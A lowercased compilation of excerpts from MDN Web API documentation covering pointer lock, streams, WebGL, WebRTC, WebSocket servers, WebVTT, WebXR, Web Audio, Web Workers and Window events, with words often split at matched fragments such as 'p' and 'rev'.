revious.screenx. locked state when pointer lock is enabled, the standard mouseevent properties clientx, clienty, screenx, and screeny are held constant, as if the mouse is not moving. the movementx and movementy properties continue to provide the mouse's change in position. there is no limit to movementx and movementy ...
...ocked'); document.removeeventlistener("mousemove", updateposition, false); } } the updateposition() function updates the position of the ball on the canvas (x and y), and also includes if() statements to check whether the ball has gone off the edges of the canvas. if so, it makes the ball wrap around to the opposite edge. it also includes a check whether a requestanimationframe() call has p
reviously been made, and if so, calls it again as required, and calls the canvasdraw() function that updates the canvas scene. a tracker is also set up to write out the x and y values to the screen, for reference. var tracker = document.getelementbyid('tracker'); var animation; function updateposition(e) { x += e.movementx; y += e.movementy; if (x > canvas.width + radius) { x = -radius; ...
ReadableStream.pipeThrough() - Web APIs
the pipethrough() method of the readablestream interface provides a chainable way of piping the current stream through a transform stream or any other writable/readable pair. piping a stream will generally lock it for the duration of the pipe, p
reventing other readers from locking it. syntax var transformedstream = readablestream.pipethrough(transformstream[, options]); parameters transformstream a transformstream (or an object with the structure {writable, readable}) consisting of a readable stream and a writable stream working together to transform some data from one form to another. data writen to the writable stream can be read in some transformed state by the readable stream. for example, a textdecoder, has bytes written to it and strings read from it, while a video de...
...to another. data writen to the writable stream can be read in some transformed state by the readable stream. for example, a textdecoder, has bytes written to it and strings read from it, while a video decoder has encoded bytes written to it and uncompressed video frames read from it. options optional the options that should be used when piping to the writable stream. ...
...uld be used when piping to the writable stream. available options are: p
reventclose: if this is set to true, the source readablestream closing will no longer cause the destination writablestream to be closed. the method will return a fulfilled promise once this process completes, unless an error is encountered while closing the destination in which case it will be rejected with that error. p
reventabort: if this is set to true, errors in the source readablestream will no longer abort the destination writablestream. the method will return a promise rejected with the source’s error, or with any error that occurs during aborting the destination. p
reventcancel: if this is set to true, errors in the destination writablestream will no longer cancel the source readablestream. in this case t...
SpeechSynthesisUtterance - Web APIs
nts listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. boundary fired when the spoken utterance reaches a word or sentence boundary. also available via the onboundary property. end fired when the utterance has finished being spoken. also available via the onend property. error fired when an error occurs that p
revents the utterance from being succesfully spoken. also available via the onerror property mark fired when the spoken utterance reaches a named ssml "mark" tag. also available via the onmark property. pause fired when the utterance is paused part way through. also available via the onpause property. resume fired when a paused utterance is resumed. also available via the onresume property.
...c speech synthesiser demo (source), we first grab a reference to the speechsynthesis controller using window.speechsynthesis. after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want. inside the inputform.onsubmit handler, we stop the form submitting with p
reventdefault(), use the constructor to create a new utterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method. var synth = window.speechsynthesis; var voices = synth.getvoices(); var inputform = document.queryselector('form'); var inputtxt = document.
... draft ...
Storage Access API - Web APIs
allow-scripts allow-same-origin"> ... </iframe> the api is designed to limit the potential storage exceptions to origins for which the user has shown an intent to interact. this is enforced through the following constraints: access requests are automatically denied unless the embedded content is currently processing a user gesture such as a tap or click. this also p
revents embedded content on the page from spamming the browser or user with excessive access requests. origins that have never been interacted with as a first party do not have a notion of first-party storage. from the user’s perspective, they only have a third-party relationship with that origin. access requests are automatically denied if the browser detects that the user hasn’t interacted wit...
...announced once ready. user prompts when requeststorageaccess() is called by an embedded, cross-origin document, the user agent may choose to involve the user in the decision of whether to grant storage access to the requesting origin. prompting heuristics currently vary across the two implementers of the storage access api — safari shows prompts for all embedded tracking content that has not p
reviously received storage access, while firefox only prompts users after a tracking origin has requested storage access on more than a threshold number of sites. see document.requeststorageaccess() for more details. safari implementation differences although the api surface is the same, websites using the storage access api should expect differences in the level and extent of storage access they r...
...l origin foo.example embeds more than one <iframe> from tracker.example, and one of those <iframe>s uses the storage access api in order to obtain storage access successfully, all other iframes from tracker.example on foo.example top-level origins will immediately gain storage access as well, without needing to call requeststorageaccess() separately. if an embedded page from tracker.example has p
reviously successfully obtained storage access on top-level origin foo.example, all embedded subresources from tracker.example on foo.example (e.g. scripts, images, stylesheets, etc.) will load with access to their first-party storage, which means they may send cookie headers and honor incoming set-cookie headers. in firefox, when the promise returned from requeststorageaccess() is resolved, the emb...
Using readable streams - Web APIs
hod: // fetch the original image fetch('./tortoise.png') // retrieve its body as readablestream .then(response => response.body) .then(body => { const reader = body.getreader(); invoking this method creates a reader and locks it to the stream — no other reader may read this stream until this reader is released, e.g. by invoking readablestreamdefaultreader.releaselock(). ...
... parameters — these are instances of the readablestreamdefaultcontroller class, which can be used to control your stream. in our example we are using the controller’s enqueue() method to enqueue a value into the custom stream after it is read from the fetch body. in addition, when we are done reading the fetch body we use the controller’s close() method to close the custom stream — any p
reviously-enqueued chunks can still be read from it, but no more can be enqueued, and the stream is closed when reading has finished. reading from custom streams in our simple stream pump example, we consume the custom readable stream by passing it into a response constructor call, after which we consume it as a blob(). .then(stream => new response(stream)) .then(response => response.blob()) .then...
...content = 'read ' + charsreceived + ' characters so far. current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } closing and cancelling streams we’ve already shown examples of using readablestreamdefaultcontroller.close() to close a reader. as we said before, any p
reviously enqueued chunks will still be read, but no more can be enqueued because it is closed. if you wanted to completely get rid of the stream and discard any enqueued chunks, you'd use readablestream.cancel() or readablestreamdefaultreader.cancel(). teeing a stream sometimes you might want to read a stream twice, simultaneously. this is achieved via the readablestream.tee() method — it outpu...
TouchEvent - Web APIs
nt() creates a touchevent object. properties this interface inherits properties from its parent, uievent and event. touchevent.altkey read only a boolean value indicating whether or not the alt key was down when the touch event was fired. touchevent.changedtouches read only a touchlist of all the touch objects representing individual points of contact whose states changed between the p
revious touch event and this one. touchevent.ctrlkey read only a boolean value indicating whether or not the control key was down when the touch event was fired. touchevent.metakey read only a boolean value indicating whether or not the meta key was down when the touch event was fired. touchevent.shiftkey read only a boolean value indicating whether or not the shift key was down when the tou...
...ccurred that canceled the touch; this might happen if a modal alert pops up during the interaction. the touch point has left the document window and moved into the browser's ui area, a plug-in, or other external content. the user has placed more touch points on the screen than can be supported, in which case the earliest touch in the touchlist gets canceled. using with addeventlistener() and p
reventdefault() it's important to note that in many cases, both touch and mouse events get sent (in order to let non-touch-specific code still interact with the user). if you use touch events, you should call p
reventdefault() to keep the mouse event from being sent as well. the exception to this is chrome, starting with version 56 (desktop, chrome for android, and android webview), where the defaul...
...ts get sent (in order to let non-touch-specific code still interact with the user). if you use touch events, you should call p
reventdefault() to keep the mouse event from being sent as well. the exception to this is chrome, starting with version 56 (desktop, chrome for android, and android webview), where the default value for the passive option for touchstart and touchmove is true and calls to p
reventdefault() will have no effect. to override this behavior, you need to set the passive option to false, after which calling p
reventdefault() will work as specified. the change to treat listeners as passive by default p
revents the listener from blocking page rendering while a user is scrolling. a demo is available on the google developer site. globaleventhandlers the globaleventhandlers mixin d...
WebGLRenderingContext.blendEquationSeparate() - Web APIs
determines how a new pixel is combined with a pixel already in the webglframebuffer. syntax void gl.blendequationseparate(modergb, modealpha); parameters modergb a glenum specifying how the red, green and blue components of source and destination colors are combined. must be either: gl.func_add: source + destination (default value), gl.func_subtract: source - destination, gl.func_
reverse_subtract: destination - source, when using the ext_blend_minmax extension: ext.min_ext: minimum of source and destination, ext.max_ext: maximum of source and destination. when using a webgl 2 context, the following values are available additionally: gl.min: minimum of source and destination, gl.max: maximum of source and destination. modealpha a...
... the following values are available additionally: gl.min: minimum of source and destination, gl.max: maximum of source and destination. modealpha a glenum specifying how the alpha component (transparency) of source and destination colors are combined. must be either: gl.func_add: source + destination (default value), gl.func_subtract: source - destination, gl.func_
reverse_subtract: destination - source, when using the ext_blend_minmax extension: ext.min_ext: minimum of source and destination, ext.max_ext: maximum of source and destination. when using a webgl 2 context, the following values are available additionally: gl.min: minimum of source and destination, gl.max: maximum of source and destination. return valu...
... return value none. exceptions if mode is not one of the three possible values, a gl.invalid_enum error is thrown. examples to set the blend equations, use: gl.blendequationseparate(gl.func_add, gl.func_subtract); to get the current blend equations, query the blend_equation, blend_equation_rgb and blend_equation_alpha constants which return gl.func_add, gl.func_subtract, gl.func_
reverse_subtract, or if the ext_blend_minmax is enabled: ext.min_ext or ext.max_ext. gl.getparameter(gl.blend_equation_rgb) === gl.func_add; // true gl.getparameter(gl.blend_equation_alpha) === gl.func_add; // true specifications specification status comment webgl 1.0the definition of 'blendequationseparate' in that specification. recommendation initial definition f...
WebGL constants - Web APIs
triangles 0x0004 passed to drawelements or drawarrays to draw triangles. each set of three vertices creates a separate triangle. triangle_strip 0x0005 passed to drawelements or drawarrays to draw a connected group of triangles. triangle_fan 0x0006 passed to drawelements or drawarrays to draw a connected group of triangles. each vertex connects to the p
revious and the first vertex in the fan. blending modes constants passed to webglrenderingcontext.blendfunc() or webglrenderingcontext.blendfuncseparate() to specify the blending mode (for both, rbg and alpha, or separately). constant name value description zero 0 passed to blendfunc or blendfuncseparate to turn off a component. one 1 passed t...
... the blending is calculated (for both, rbg and alpha, or separately). constant name value description func_add 0x8006 passed to blendequation or blendequationseparate to set an addition blend function. func_subtract 0x800a passed to blendequation or blendequationseparate to specify a subtraction blend function (source - destination). func_
reverse_subtract 0x800b passed to blendequation or blendequationseparate to specify a
reverse subtraction blend function (destination - source). getting gl parameter information constants passed to webglrenderingcontext.getparameter() to specify what information to return. constant name value description blend_equation 0x8009 passed to getparameter to ...
... rg32ui 0x823c r8_snorm 0x8f94 rg8_snorm 0x8f95 rgb8_snorm 0x8f96 rgba8_snorm 0x8f97 rgb10_a2ui 0x906f texture_immutable_format 0x912f texture_immutable_levels 0x82df pixel types constant name value description unsigned_int_2_10_10_10_
rev 0x8368 unsigned_int_10f_11f_11f_
rev 0x8c3b unsigned_int_5_9_9_9_
rev 0x8c3e float_32_unsigned_int_24_8_
rev 0x8dad unsigned_int_24_8 0x84fa half_float 0x140b rg 0x8227 rg_integer 0x8228 int_2_10_10_10_
rev 0x8d9f queries constant name val...
Using shaders to apply color in WebGL - Web APIs
« p
reviousnext » having created a square plane in the p
revious demonstration, the next obvious step is to add a splash of color to it. we can do this by
revising the shaders. this example uses the glmatrix library to perform its matrix and vertex math. you'll need to include it if you create your own project based on this code. our sample loads a copy from a cdn in our html's <head>. applying color to the vertices in webgl objects are built using sets of vertices, each of which has a position and a color. by default, all other pixels' colors (and all its other attributes, including position) are computed using interpolation, automatically creating smooth gradients. p
reviously, our vertex shader didn't apply any specific colors to the vertices. between this and the fragment sha...
... uniform mat4 uprojectionmatrix; varying lowp vec4 vcolor; void main(void) { gl_position = uprojectionmatrix * umodelviewmatrix * avertexposition; vcolor = avertexcolor; } `; the key difference here is that for each vertex, we pass its color using a varying to the fragment shader. ...
...e = 0; const offset = 0; gl.bindbuffer(gl.array_buffer, buffers.color); gl.vertexattribpointer( programinfo.attriblocations.vertexcolor, numcomponents, type, normalize, stride, offset); gl.enablevertexattribarray( programinfo.attriblocations.vertexcolor); } view the complete code | open this demo on a new page « p
reviousnext » ...
WebGL best practices - Web APIs
-1 in about:config will enable performance warnings that include warnings about fb completeness invalidations. and to a lesser degree, vao attachments (vertexattribpointer, disable/enablevertexattribarray) drawing from static, unchanging vaos is faster than mutating the same vao for every draw call. for unchanged vaos, browsers can cache the fetch limits, whereas when vaos change, browsers must
revalidate and recalculate limits. the overhead for this is relatively low, but re-using vaos means fewer vertexattribpointer calls too, so it's worth doing whe
rever it's easy. delete objects eagerly don't wait for the garbage collector/cycle collector to realize objects are orphaned and destroy them. implementations track the liveness of objects, so 'deleting' them at the api level only releases t...
... drawarrays() or drawelements() call. it's common to use "degenerate triangles" if you need to draw discontinuous objects as a single drawarrays(triangle_strip) call. degenerate triangles are triangles with no area, therefore any triangle where more than one point is in the same exact location. these triangles are effectively skipped, which lets you start a new triangle strip unattached to your p
revious one, without having to split into multiple draw calls. another important method for batching is texture atlasing, where multiple images are placed into a single texture, often like a checkerboard. since you need to split draw call batches to change textures, texture atlasing lets you combine more draw calls into fewer, bigger batches. shaders, programs, and glsl avoid "#ifdef gl_es", which...
... while you can use mediump float instead, but be aware that this often results in corrupted rendering due to lack of precision (particularly mobile systems) though the corruption is not going to be visible on a typical desktop computer. if you know your precision requirements, getshaderprecisionformat() will tell you what the system sup...
Introduction to WebRTC protocols - Web APIs
this article introduces the protocols on top of which the webrtc api is built. ice interactive connectivity establishment (ice) is a framework to allow your web browser to connect with peers. there are many reasons why a straight up connection from peer a to peer b simply won’t work. it needs to bypass firewalls that would p
revent opening connections, give you a unique address if like most situations your device doesn’t have a public ip address, and relay data through a server if your router doesn’t allow you to directly connect with peers. ice uses stun and/or turn servers to accomplish this, as described below. stun session traversal utilities for nat (stun) (acronym within an acronym) is a protocol to discover your public address and determine any restrictions in your ...
...r device doesn’t have a public ip address, and relay data through a server if your router doesn’t allow you to directly connect with peers. ice uses stun and/or turn servers to accomplish this, as described below. stun session traversal utilities for nat (stun) (acronym within an acronym) is a protocol to discover your public address and determine any restrictions in your router that would p
revent a direct connection with a peer. the client will send a request to a stun server on the internet who will reply with the client’s public address and whether or not the client is accessible behind the router’s nat. nat network address translation (nat) is used to give your device a public ip address. a router will have a public ip address and every device connected to the router will h...
... some routers will have restrictions on who can connect to devices on the network. this can mean that even though we have the public ip address found by the stun server, not anyone can create a connection. in this situation we need to turn to turn. turn some routers using nat employ a restriction called ‘symmetric nat’. this means the router will only accept connections from peers you’ve p
reviously connected to. traversal using relays around nat (turn) is meant to bypass the symmetric nat restriction by opening a connection with a turn server and relaying all information through that server. you would create a connection with a turn server and tell all peers to send packets to the server which will then be forwarded to you. this obviously comes with some overhead so it is only used i...
Writing WebSocket servers - Web APIs
cial websockets specification, rfc 6455. sections 1 and 4-7 are especially interesting to server implementors. section 10 discusses security and you should definitely peruse it before exposing your server. a websocket server is explained on a very low level here. websocket servers are often separate and specialized servers (for load-balancing or other practical reasons), so you will often use a
reverse proxy (such as a regular http server) to detect websocket handshakes, pre-process them, and send those clients to a real websocket server. this means that you don't have to bloat your server code with cookie and authentication handlers (for example). the websocket handshake first, the server must listen for incoming socket connections using a standard tcp socket. depending on your platform,...
...websocket-key: dghlihnhbxbszsbub25jzq== sec-websocket-version: 13 the client can solicit extensions and/or subprotocols here; see miscellaneous for details. also, common headers like user-agent, referer, cookie, or authentication headers might be there as well. do whatever you want with those; they don't directly pertain to the websocket. it's also safe to ignore them. in many common setups, a
reverse proxy has already dealt with them. tip: all browsers send an origin header. you can use this header for security (checking for same origin, automatically allowing or denying, etc.) and send a 403 forbidden if you don't like what you see. however, be warned that non-browser agents can send a faked origin. most applications reject requests without this header. if any header is not understoo...
... a single frame, while the second message is sent across three frames. fin and opcode details are shown only for the client: client: fin=1, opcode=0x1, msg="hello" server: (process complete message immediately) hi. client: fin=0, opcode=0x1, msg="and a" server: (listening, new message containing text started) client: fin=0, opcode=0x0, msg="happy new" server: (listening, payload concatenated to p
revious message) client: fin=1, opcode=0x0, msg="year!" server: (process complete message) happy new year to you too! notice the first frame contains an entire message (has fin=1 and opcode!=0x0), so the server can process or respond as it sees fit. the second frame sent by the client has a text payload (opcode=0x1), but the entire message has not arrived yet (fin=0). all remaining parts of that mes...
Web Video Text Tracks Format (WebVTT) - Web APIs
as no cues. example 3 - common webvtt example with a header and cues webvtt - this file has cues. 14 00:01:14.815 --> 00:01:18.114 - what? - where are we now? 15 00:01:18.171 --> 00:01:20.991 - this is big bat country. 16 00:01:21.058 --> 00:01:23.868 - [ bats screeching ] - they won't get in your hair. they're after the bugs. inner structure of a webvtt file let's re-examine one of our p
revious examples, and look at the cue structure in a bit more detail. webvtt 00:01.000 --> 00:04.000 - never drink liquid nitrogen. 00:05.000 --> 00:09.000 - it will perforate your stomach. - you could die. in the case of each cue: the first line is started with a time, which is the starting time for showing the text that appears underneath. on the same line, we then have a string of "-->". ...
...fiers webvtt 1 00:00:22.230 --> 00:00:24.606 this is the first subtitle. 2 00:00:30.739 --> 00:00:34.074 this is the second. 3 00:00:34.159 --> 00:00:35.743 third cue timings a cue timing indicates when the cue is shown. it has a start and end time which are represented by timestamps. the end time must be greater than the start time, and the start time must be greater than or equal to all p
revious start times. cues may have overlapping timings. if the webvtt file is being used for chapters (<track> kind is chapters) then the file cannot have overlapping timings. each cue timing contains five components: timestamp for start time. at least one space. the string "-->". at least one space. timestamp for end time. which must be greater than the start time. the timestam...
... right-to-left mark ‏ non-breaking space cue payload text tags there are a number of tags, such as <bold>, that can be used. however, if the webvtt file is used in a <track> element where the attribute kind is chapters then you cannot use tags. timestamp tag the timestamp must be greater that the cue's start timestamp, greater than any p
revious timestamp in the cue payload, and less than the cue's end timestamp. the active text is the text between the timestamp and the next timestamp or to the end of the payload if there is not another timestamp in the payload. any text before the active text in the payload is p
revious text . any text beyond the active text is future text . this enables karaoke style captions. example 12 - ...
Using bounded reference spaces - Web APIs
d by the real world. this article examines bounded reference spaces as represented by xrboundedreferencespace, describing what they are and how they're used. there are many uses for bounded reference spaces, including projects such as virtual paint studios or 3d construction, modeling, or sculpting systems; training simulations or lesson scenarios; dance or other performance-based games; or the p
review of 3d objects in the real world using augmented reality. introduction a bounded reference space is one which represents an xr environment in which the user is able to move around physically in the real world while being tracked by the xr hardware, with their movements being then transposed into the simulation. the boundaries established by the bounded reference space, then, represent the edg...
... support the bounded reference space. if it does, it likely has a system in place to allow the user to specify or select the boundaries to apply if a bounded space is to be used. however, it's entirely possible that the device will simply decline to support bounded spaces at all, so you should be prepared to fall back to some other type of reference space. understanding boundaries as mentioned p
reviously, the boundary is defined as an array of points located at floor level, each defining a corner of the boundary area, going around the origin in a clockwise manner. this is demonstrated in the diagram below. this diagram defines the boundaries of room with the origin in the center, as required, and a set of 12 points representing the vertices of the available physical space. there are two ...
...pace = xrreferencespace.getoffsetreferencespace( new xrrigidtransform(startposition, startorientation)); xrsession.requestanimationframe(ondrawframe); } in this code, executed after the reference space has been created, we create an xrrigidtransform representing the transform that will move the viewpoint upward by 1.5 meters. this approximates human height, though it assumes we've p
reviously transformed the coordinate system so that the value of each coordinate is no longer constrained to -1 to 1, while maintaining the definition that a value of 1 represents one meter). the new transform is passed into requestoffsetreferenceframe() to obtain a reference frame which maps the coordinates between the base coordinate system and that of the rendered image. the new reference space r...
Starting up and shutting down a WebXR session - Web APIs
signals that the polyfill can be garbage collected when no objects depending on it are using it anymore. of course, you can simplify this depending on your needs; since your app is probably not going to go back and forth much on whether or not to use the polyfill, you can simplify this to just the specific case you need. permissions and security there are a number of security measures in place
revolving around webxr. first among these is that use of immersive-vr mode—which entirely replaces the user's view of the world—requires that the xr-spatial-tracking feature policy be in place. on top of that, the document needs to be secure and currently focused. finally, you must call requestsession() from a user event handler, such as the handler for the click event. for more specifics about...
...its caller, the webxr session is fully and safely shut down. if you have work that must be done when the session ends, such as releasing resources and the like, you should do that work in your end event handler rather than in your main code body. that way, you handle the cleanup regardless of whether the shutdown was automatically or manually triggered. detecting when the session has ended as p
reviously established, you can detect when the webxr session has ended—whether because you've called its end() method, the user turned off their headset, or some sort of irresolvable error occurred in the xr system—by watching for the end event to be sent to the xrsession. session.onend = (event) => { /* the session has shut down */ freeresources(); }; here, when the session has ended and ...
...ve called its end() method, the user turned off their headset, or some sort of irresolvable error occurred in the xr system—by watching for the end event to be sent to the xrsession. session.onend = (event) => { /* the session has shut down */ freeresources(); }; here, when the session has ended and the end event is received, a freeresources() function is called to release the resources p
reviously allocated and/or loaded to handle the xr presentation. by calling freeresources() in the end event handler, we call it both when the user clicks a button that triggers a shutdown such as by calling the shutdownxr() function shown above and when the session ends automatically, whether due to an error or some other reason. ...
Advanced techniques: Creating and sequencing audio - Web APIs
it would set the top frequency. ...
... notesinqueue.push({ note: beatnumber, time: time }); if (pads[0].queryselectorall('button')[currentnote].getattribute('aria-checked') === 'true') { playsweep() } if (pads[1].queryselectorall('button')[currentnote].getattribute(...
... function scheduler() { // while there are notes that will need to play before the next interval, schedule them and advance the pointer. while (nextnotetime < audioctx.currenttime + scheduleaheadtime ) { schedulenote(currentnote, nextnotetime); nextnote(); } timerid = window.settimeout(scheduler, lookahead); } we also need a draw function to upd...
Web Audio API - Web APIs
d to the input of a destination (audiocontext.destination), which sends the sound to the speakers or headphones. this last connection is only necessary if the user is supposed to hear the audio. a simple, typical workflow for web audio would look something like this: create audio context inside the context, create sources — such as <audio>, oscillator, stream create effects nodes, such as
reverb, biquad filter, panner, compressor choose final destination of audio, for example your system speakers connect the sources up to the effects, and the effects to the destination. timing is controlled with high precision and low latency, allowing developers to write code that responds accurately to events and is able to target specific samples, even at a high sample rate. so applications s...
...node the biquadfilternode interface represents a simple low-order filter. it is an audionode that can represent different kinds of filters, tone control devices, or graphic equalizers. a biquadfilternode always has exactly one input and one output. ...
... gainnode the gainnode interface represents a change in volume. it is an audionode audio-processing module that causes a given gain to be applied to the input data before its propagation to the output. ...
Using Web Workers - Web APIs
e thorough explanation. terminating a worker if you need to immediately terminate a running worker from the main thread, you can do so by calling the worker's terminate method: myworker.terminate(); the worker thread is killed immediately. handling errors when a runtime error occurs in the worker, its onerror event handler is called. it receives an event named error which implements the erro
revent interface. the event doesn't bubble and is cancelable; to p
revent the default action from taking place, the worker can call the error event's p
reventdefault() method. the error event has the following three fields that are of interest: message a human-readable error message. filename the name of the script file in which the error occurred. lineno the line number of the script file ...
...orts just "foo.js" */ importscripts('foo.js', 'bar.js'); /* imports two scripts */ importscripts('//example.com/hello.js'); /* you can import scripts from other origins */ the browser loads each listed script and executes it. any global objects from each script may then be used by the worker. if the script can't be loaded, network_error is thrown, and subsequent code will not be executed. p
reviously executed code (including code deferred using window.settimeout()) will still be functional though. function declarations after the importscripts() method are also kept, since these are always evaluated before the rest of the code. note: scripts may be downloaded in any order, but will be executed in the order in which you pass the filenames into importscripts() . this is done synchronously...
...y policy workers are considered to have their own execution context, distinct from the document that created them. for this reason they are, in general, not governed by the content security policy of the document (or parent worker) that created them. so for example, suppose a document is served with the following header: content-security-policy: script-src 'self' among other things, this will p
revent any scripts it includes from using eval(). however, if the script constructs a worker, code running in the worker's context will be allowed to use eval(). to specify a content security policy for the worker, set a content-security-policy response header for the request which delivered the worker script itself. the exception to this is if the worker script's origin is a globally unique identi...
Window: beforeunload event - Web APIs
yes interface event event handler property onbeforeunload this event enables a web page to trigger a confirmation dialog asking the user if they really want to leave the page. if the user confirms, the browser navigates to the new page, otherwise it cancels the navigation. according to the specification, to show the confirmation dialog an event handler should call p
reventdefault() on the event. however note that not all browsers support this method, and some instead require the event handler to implement one of two legacy methods: assigning a string to the event's returnvalue property returning a string from the event handler. some browsers used to display the returned string in the confirmation dialog, enabling the event handler to display a custom mess...
... enabling the event handler to display a custom message to the user. however, this is deprecated and no longer supported in most browsers. to combat unwanted pop-ups, browsers may not display prompts created in beforeunload event handlers unless the page has been interacted with, or may even not display them at all. ...
...foreunload event p
revents browsers from using in-memory page navigation caches, like firefox's back-forward cache or webkit's page cache. the html specification states that calls to window.alert(), window.confirm(), and window.prompt() methods may be ignored during this event. see the html specification for more details. examples the html specification states that authors should use the event.p
reventdefault() method instead of using event.returnvalue. however, this is not supported by all browsers. window.addeventlistener('beforeunload', (event) => { // cancel the event as stated by the standard. event.p
reventdefault(); // chrome requires returnvalue to be set. event.returnvalue = ''; }); specifications specification status comment html living standa...
Window: unhandledrejection event - Web APIs
. this is useful for debugging and for providing fallback error handling for unexpected situations. bubbles no cancelable yes interface promiserejectionevent event handler property onunhandledrejection usage notes allowing the unhandledrejection event to bubble will eventually result in an error message being output to the console. you can p
revent this by calling p
reventdefault() on the promiserejectionevent; see p
reventing default handling below for an example. examples here we have a few examples showing ways you can make use of the unhandledrejection event. the event includes two useful pieces of information: promise the actual promise which was rejected with no handler available to deal with the rejection. reason the reason ...
...nformation about the unhandled promise rejection to the console. window.addeventlistener("unhandledrejection", event => { console.warn(`unhandled promise rejection: ${event.reason}`); }); you can also use the onunhandledrejection event handler property to set up the event listener: window.onunhandledrejection = event => { console.warn(`unhandled promise rejection: ${event.reason}`); }; p
reventing default handling many environments (such as node.js) report unhandled promise rejections to the console by default. you can p
revent that from happening by adding a handler for unhandledrejection events that—in addition to any other tasks you wish to perform—calls p
reventdefault() to cancel the event, p
reventing it from bubbling up to be handled by the runtime's logging code. this works...
...ler for unhandledrejection events that—in addition to any other tasks you wish to perform—calls p
reventdefault() to cancel the event, p
reventing it from bubbling up to be handled by the runtime's logging code. this works because unhandledrejection is cancelable. window.addeventlistener('unhandledrejection', function (event) { // ...your code here to handle the unhandled rejection... // p
revent the default handling (such as outputting the // error to the console) event.p
reventdefault(); }); specifications specification status comment html living standardthe definition of 'unhandledrejection' in that specification. living standard initial definition. ...
Window - Web APIs
t. window.console read only returns a reference to the console object which provides access to the browser's debugging console. window.controllers read only returns the xul controller objects for the current chrome window. window.customelements read only returns a reference to the customelementregistry object, which can be used to register new custom elements and get information about p
reviously registered custom elements. window.crypto read only returns the browser crypto object. window.devicepixelratio read only returns the ratio between physical pixels and device independent pixels in the current display. window.document read only returns a reference to the document that the window contains. window.dommatrix read only returns a reference to a dommatrix object, whic...
...o the function that called window.showmodaldialog() to display the window as a modal dialog. methods this interface inherits methods from the eventtarget interface and implements methods from windoworworkerglobalscope and eventtarget. window.alert() displays an alert dialog. window.blur() sets focus away from the window. window.cancelanimationframe() enables you to cancel a callback p
reviously scheduled with window.requestanimationframe. window.cancelidlecallback() enables you to cancel a callback p
reviously scheduled with window.requestidlecallback. window.clearimmediate() cancels the repeated execution set using setimmediate. window.close() closes the current window. window.confirm() displays a dialog with a message that the user needs to respond to. window.dump() ...
...d when the window receives a message, for example from a call to window.postmessage() from another browsing context. also available via the onmessage property. messageerror fired when a window object receives a message that can't be deserialized. also available via the onmessageerror property. print events afterprint fired after the associated document has started printing or the print p
review has been closed. also available via the onafterprint property. beforeprint fired when the associated document is about to be printed or p
reviewed for printing. also available via the onbeforeprint property. promise rejection events rejectionhandled sent every time a javascript promise is rejected, regardless of whether or not there is a handler in place to catch the rejection. also ...
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
ments. this is another good use case for getoffsetreferencespace(). in this example, we'll show code that lets the user look around by right-clicking and moving the mouse to change the viewing angle. first, we add an event handler for mousemove events, which calls our code to perform the rotation if the right mouse button is down. ...
...or getoffsetreferencespace(). in this example, we'll show code that lets the user look around by right-clicking and moving the mouse to change the viewing angle. first, we add an event handler for mousemove events, which calls our code to perform the rotation if the right mouse button is down. note also that we set oncontextmenu up to be ignored by calling p
reventdefault() on those events. ...
...se to change the viewing angle. first, we add an event handler for mousemove events, which calls our code to perform the rotation if the right mouse button is down. note also that we set oncontextmenu up to be ignored by calling p
reventdefault() on those events. this p
revents the right-clicks from causing the context menu from appearing in the browser. canvas.oncontextmenu = (event) => { event.p
reventdefault(); }; canvas.addeventlistener("mousemove", (event) => { if (event.buttons & 2) { rotateviewby(event.movementx, event.movementy); } }); next, the rotateviewby() function, which updates the mouse look direction's yaw and pitch based on the mouse delta values from the mousemove event. the pitch is restricted so that you can't look beyond straight up and straight down. each time t...
XRReferenceSpace: reset event - Web APIs
r drift are problematic. the coordinate system is thus reset with its new origin at or near the user's current position. the webxr infrastructure or hardware drivers detected that the device had temporarily lost tracking, causing the hardware and software to be out of sync on position and orientation. note: a reset event will not occur if the reference space is able to regain tracking of its p
revious origin, since that means the origin has not been forced to be relocated. this event is only fired when the origin has to be relocated to recover from the tracking loss. manual resets if you've spent any time using a vr headset, you've had times when you've started it up and although you're facing straight ahead, the headset thinks you're looking at the sky or the floor; or times when you p...
...rence space or reference spaces that are based on the headset's orientation. handling discontinuities you can handle jumps in the viewer's position by watching the boolean xrpose property emulatedposition. if a jump in the viewer's position coincides with emulatedposition toggling from true to false, the viewer has regained tracking, and that their new position represents a correction from the p
reviously emulated values. this is typically the desired behavior if your site or app doesn't simulate motion through the space by expressly changing the position and/or orientation of the viewer (rather than the user's physical movements being used by the xr device to introduce movement). however, if that kind of "teleportation" is being used, you actually want to avoid jumping the user's position ...
...g the user's position after tracking recovery, this can introduce additional and potentially jarring jumping. instead of allowing this to happen, you can integrate the emulatedposition into the teleportation offset calculated prior to calling getoffsetreferencespace() to create a new reference space whose updated effective origin is adjusted by the distance the viewer's position jumped since the p
revious frame. this way, the user's position only changes once rather than twice. the effect of discontinuity size the reset event won't be fired when the discontinuity is small enough that the device is able to regain tracking within the same tracking area. nor will be be fired at an unbounded reference space as it makes small adjustments to its native origin over time to maintain the space's stab...
XRSystem - Web APIs
olves to true if the browser supports the given xrsessionmode. resolves to false if the specified mode isn't supported. requestsession() returns a promise that resolves to a new xrsession with the specified xrsessionmode. events devicechange sent when the set of available xr devices has changed. also available using the ondevicechange event handler. usage notes thsi interface was p
reviously known as simply xr in earlier versions of the specification; if you see references to xr in code or documentation, simply replace that with xrsystem. examples the following example shows how to use both issessionsupported() and requestsession(). if (navigator.xr) { immersivebutton.addeventlistener("click", onbuttonclicked); navigator.xr.issessionsupported('immersive-vr') .then((iss...
... onsessionstarted(xrsession); }); } else { // shut down the already running xrsession xrsession.end() .then(() => xrsession = null); } } this code starts by checking to see if webxr is available by looking for the navigator.xr property. if it's found, we know webxr is present, so we proceed by establishing a handler for the button which the user can click...
...to toggle immersive vr mode on and off. however, we don't yet know if the desired immersive mode is available. to determine this, we call issessionsupported(), passing it the desired session option before enabling the button, immersivebutton, which the user can then use to switch to immersive mode only if immersive vr mode is available. if immersive vr isn't available, the button is disabled to p
revent its use. the onbuttonclicked() function checks to see if there's already a session running. if there isn't, we use requestsession() to start one and, once the returned promise resolves, we call a function onsessionstarted() to set up our session for rendering and so forth. if, on the other hand, there is already an ongoing xr session, we instead call end() to end the current session. when th...
ARIA annotations - Accessibility
